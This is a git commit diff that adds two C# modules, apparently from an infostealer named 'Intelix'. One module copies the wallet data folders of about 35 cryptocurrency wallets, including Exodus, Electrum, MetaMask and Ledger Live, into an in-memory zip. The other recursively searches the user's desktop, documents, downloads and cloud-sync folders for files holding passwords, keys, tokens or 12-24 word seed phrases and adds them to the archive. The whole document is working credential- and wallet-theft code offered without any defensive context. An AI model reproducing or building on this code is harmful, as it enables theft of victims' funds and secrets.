initial commit
This commit is contained in:
i2p
Binary file not shown.
@@ -0,0 +1,240 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Threading.Tasks;
|
||||
using Intelix.Helper.Data;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Crypto;
|
||||
|
||||
public class CryptoDesktop : ITarget
|
||||
{
|
||||
private static readonly List<string[]> SWalletsDirectories = new List<string[]>
|
||||
{
|
||||
new string[2]
|
||||
{
|
||||
"Zcash",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Zcash")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Armory",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Armory")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Bytecoin",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "bytecoin")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Jaxx",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "com.liberty.jaxx", "IndexedDB", "file__0.indexeddb.leveldb")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Exodus",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Exodus", "exodus.wallet")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Ethereum",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Ethereum", "keystore")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Electrum",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Electrum", "wallets")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"AtomicWallet",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "atomic", "Local Storage", "leveldb")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Atomic",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Atomic", "Local Storage", "leveldb")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Guarda",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Guarda", "Local Storage", "leveldb")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Coinomi",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Coinomi", "Coinomi", "wallets")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Tari",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "com.tari.universe", "app_configs", "mainnet")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Tari",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "com.tari.universe", "wallet", "mainnet", "data", "wallet")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Bitcoin",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Bitcoin", "wallets")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Bitcoin",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Bitcoin", "wallets")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Dash",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "DashCore", "wallets")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Litecoin",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Litecoin", "wallets")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"MyMonero",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyMonero")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Monero",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Monero")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Vertcoin",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Vertcoin")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Groestlcoin",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Groestlcoin")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Komodo",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Komodo")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"PIVX",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "PIVX")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"BitcoinGold",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "BitcoinGold")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Electrum-LTC",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Electrum-LTC")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Binance",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Binance")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Phantom",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Phantom", "IndexedDB", "file__0.indexeddb.leveldb")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"Coin98",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Coin98", "IndexedDB", "file__0.indexeddb.leveldb")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"MathWallet",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MathWallet", "IndexedDB", "file__0.indexeddb.leveldb")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"LedgerLive",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Ledger Live")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"TrezorSuite",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "TrezorSuite")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"MyEtherWallet",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyEtherWallet")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"MyCrypto",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyCrypto")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"MetaMask",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MetaMask", "IndexedDB", "file__0.indexeddb.leveldb")
|
||||
},
|
||||
new string[2]
|
||||
{
|
||||
"TrustWallet",
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "TrustWallet", "IndexedDB", "file__0.indexeddb.leveldb")
|
||||
}
|
||||
};
|
||||
|
||||
private static readonly string[] SWalletsRegistry = new string[3] { "Litecoin", "Dash", "Bitcoin" };
|
||||
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
try
|
||||
{
|
||||
Parallel.ForEach(SWalletsDirectories, delegate(string[] sw)
|
||||
{
|
||||
CopyWalletFromDirectoryTo(sw[1], sw[0], zip, counter);
|
||||
});
|
||||
Parallel.ForEach(SWalletsRegistry, delegate(string sWalletRegistry)
|
||||
{
|
||||
CopyWalletFromRegistryTo(sWalletRegistry, zip, counter);
|
||||
});
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void CopyWalletFromDirectoryTo(string sWalletDir, string sWalletName, InMemoryZip zip, Counter counter)
|
||||
{
|
||||
if (Directory.Exists(sWalletDir))
|
||||
{
|
||||
zip.AddDirectoryFiles(sWalletDir, "Wallet/" + sWalletName);
|
||||
counter.CryptoDesktop.Add(sWalletDir + " => Wallet/" + sWalletName);
|
||||
}
|
||||
}
|
||||
|
||||
private void CopyWalletFromRegistryTo(string sWalletRegistry, InMemoryZip zip, Counter counter)
|
||||
{
|
||||
try
|
||||
{
|
||||
string name = "Software\\" + sWalletRegistry + "\\" + sWalletRegistry + "-Qt";
|
||||
string text = Registry.CurrentUser.OpenSubKey(name)?.GetValue("strDataDir")?.ToString();
|
||||
if (text != null)
|
||||
{
|
||||
string text2 = Path.Combine(text, "wallets");
|
||||
if (Directory.Exists(text2))
|
||||
{
|
||||
zip.AddDirectoryFiles(text2, "Wallet/" + sWalletRegistry);
|
||||
counter.CryptoDesktop.Add(text2 + " => Wallet/" + sWalletRegistry);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,187 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using Intelix.Helper;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Crypto;
|
||||
|
||||
public class Grabber : ITarget
|
||||
{
|
||||
private readonly long _sizeMinFile = 120L;
|
||||
|
||||
private readonly long _sizeLimitFile = 6144L;
|
||||
|
||||
private readonly long _sizeLimit = 5242880L;
|
||||
|
||||
private long _size;
|
||||
|
||||
private readonly Regex _seedRegex = new Regex("^(?:\\s*\\b[a-z]{3,}\\b){12,24}\\s*$", RegexOptions.IgnoreCase | RegexOptions.Multiline | RegexOptions.Compiled);
|
||||
|
||||
private readonly string[] _blacklist = new string[10] { "license", "readme", "changelog", "about", "terms", "eula", "notice", "example", "sample", "test" };
|
||||
|
||||
private readonly string[] _keywords = new string[35]
|
||||
{
|
||||
"password", "passwd", "pwd", "pass", "login", "user", "username", "account", "mail", "email",
|
||||
"secret", "key", "private", "public", "wallet", "mnemonic", "seed", "recovery", "phrase", "backup",
|
||||
"pin", "auth", "2fa", "token", "apikey", "api_key", "ssh", "cert", "certificate", "crypto",
|
||||
"btc", "eth", "usdt", "ltc", "xmr"
|
||||
};
|
||||
|
||||
private readonly string[] _seedExtensions = new string[9] { ".seed", ".seedphrase", ".mnemonic", ".phrase", ".key", ".secret", ".txt", ".backup", ".wallet" };
|
||||
|
||||
private readonly string[] _seedPaths = new string[19]
|
||||
{
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.Personal),
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.Desktop),
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.Personal),
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.CommonDocuments),
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.CommonDesktopDirectory),
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Downloads",
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\OneDrive",
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Dropbox",
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\iCloudDrive",
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Google Drive",
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\YandexDisk",
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Mega",
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Evernote",
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Standard Notes",
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Joplin",
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Wallets",
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Keys",
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Crypto",
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Backup"
|
||||
};
|
||||
|
||||
private long Size
|
||||
{
|
||||
get
|
||||
{
|
||||
return Interlocked.Read(ref _size);
|
||||
}
|
||||
set
|
||||
{
|
||||
Interlocked.Exchange(ref _size, value);
|
||||
}
|
||||
}
|
||||
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
Parallel.ForEach(_seedPaths, delegate(string directory)
|
||||
{
|
||||
SearchFiles(zip, counter, directory);
|
||||
});
|
||||
}
|
||||
|
||||
private void SearchFiles(InMemoryZip zip, Counter counter, string directory)
|
||||
{
|
||||
if (Size > _sizeLimit)
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
Parallel.ForEach(Directory.GetDirectories(directory), delegate(string subDir)
|
||||
{
|
||||
if (Size <= _sizeLimit)
|
||||
{
|
||||
SearchFiles(zip, counter, subDir);
|
||||
}
|
||||
});
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
Parallel.ForEach(Directory.GetFiles(directory), delegate(string file)
|
||||
{
|
||||
if (Size <= _sizeLimit)
|
||||
{
|
||||
FileInfo fileInfo = new FileInfo(file);
|
||||
if (_seedExtensions.Contains(fileInfo.Extension, StringComparer.OrdinalIgnoreCase) && fileInfo.Length < _sizeLimitFile && fileInfo.Length > _sizeMinFile)
|
||||
{
|
||||
string text = File.ReadAllText(fileInfo.FullName);
|
||||
if (ContainsKeyword(fileInfo.Name) || ContainsKeyword(text) || ContainsSeedPhrase(text))
|
||||
{
|
||||
Size += fileInfo.Length;
|
||||
string fileName = fileInfo.Name + RandomStrings.GenerateHashTag() + fileInfo.Extension;
|
||||
string relativePath = GetRelativePath(fileInfo.FullName);
|
||||
string text2 = Path.Combine("FileGrabber", relativePath, fileName).Replace('\\', '/');
|
||||
zip.AddTextFile(text2, text);
|
||||
counter.FilesGrabber.Add(file + " => " + text2);
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private bool ContainsSeedPhrase(string content)
|
||||
{
|
||||
return _seedRegex.IsMatch(content);
|
||||
}
|
||||
|
||||
private string GetRelativePath(string fullPath)
|
||||
{
|
||||
try
|
||||
{
|
||||
string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
|
||||
string documents = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
|
||||
|
||||
if (fullPath.StartsWith(desktop, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
return "desktop";
|
||||
}
|
||||
if (fullPath.StartsWith(documents, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
return "Documents";
|
||||
}
|
||||
return "other";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "other";
|
||||
}
|
||||
}
|
||||
|
||||
private bool ContainsKeyword(string content)
|
||||
{
|
||||
if (string.IsNullOrEmpty(content))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
string[] source = content.Split(new char[14]
|
||||
{
|
||||
' ', '\t', '\r', '\n', ',', '.', ';', ':', '-', '_',
|
||||
'/', '\\', '"', '\''
|
||||
}, StringSplitOptions.RemoveEmptyEntries);
|
||||
HashSet<string> whitelist = new HashSet<string>(_keywords, StringComparer.OrdinalIgnoreCase);
|
||||
HashSet<string> blacklist = new HashSet<string>(_blacklist, StringComparer.OrdinalIgnoreCase);
|
||||
int result = 0;
|
||||
Parallel.ForEach(source, delegate(string word, ParallelLoopState state)
|
||||
{
|
||||
if (Volatile.Read(ref result) == -1)
|
||||
{
|
||||
state.Stop();
|
||||
}
|
||||
else if (blacklist.Contains(word))
|
||||
{
|
||||
Interlocked.Exchange(ref result, -1);
|
||||
state.Stop();
|
||||
}
|
||||
else if (whitelist.Contains(word))
|
||||
{
|
||||
Interlocked.CompareExchange(ref result, 1, 0);
|
||||
}
|
||||
});
|
||||
return result == 1;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user